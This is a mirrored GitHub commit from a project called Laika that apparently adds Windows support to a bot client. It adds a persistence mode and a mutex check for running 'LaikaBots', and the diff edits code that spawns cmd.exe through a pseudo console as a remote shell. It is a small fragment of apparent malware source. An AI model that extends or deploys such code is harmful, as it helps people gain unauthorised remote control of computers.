1
0
mirror of https://github.com/CPunch/Laika.git synced 2026-02-09 01:30:03 +00:00

Windows: implemented laikaB_markRunning() & laikaB_unmarkRunning()

- use Sleep() for LAIKA_PERSISTENCE in main()
- use Mutex for checking existing LaikaBots
- switched to TEXT() for win32 strings
This commit is contained in:
2022-04-16 23:54:07 -05:00
parent 231881c960
commit 34dd36fb67
4 changed files with 21 additions and 5 deletions

View File

@@ -80,7 +80,7 @@ HRESULT InitializeStartupInfoAttachedToPseudoConsole(STARTUPINFOEX *pStartupInfo
struct sLaika_shell *laikaB_newShell(struct sLaika_bot *bot, int cols, int rows) {;
HRESULT hr;
char cmd[] = "cmd.exe";
LPCTSTR cmd = TEXT("cmd.exe");
struct sLaika_shell* shell = (struct sLaika_shell*)laikaM_malloc(sizeof(struct sLaika_shell));
ZeroMemory(shell, sizeof(struct sLaika_shell));
@@ -102,7 +102,7 @@ struct sLaika_shell *laikaB_newShell(struct sLaika_bot *bot, int cols, int rows)
}
/* launch cmd shell */
hr = CreateProcessA(
hr = CreateProcess(
NULL, /* No module name - use Command Line */
cmd, /* Command Line */
NULL, /* Process handle not inheritable */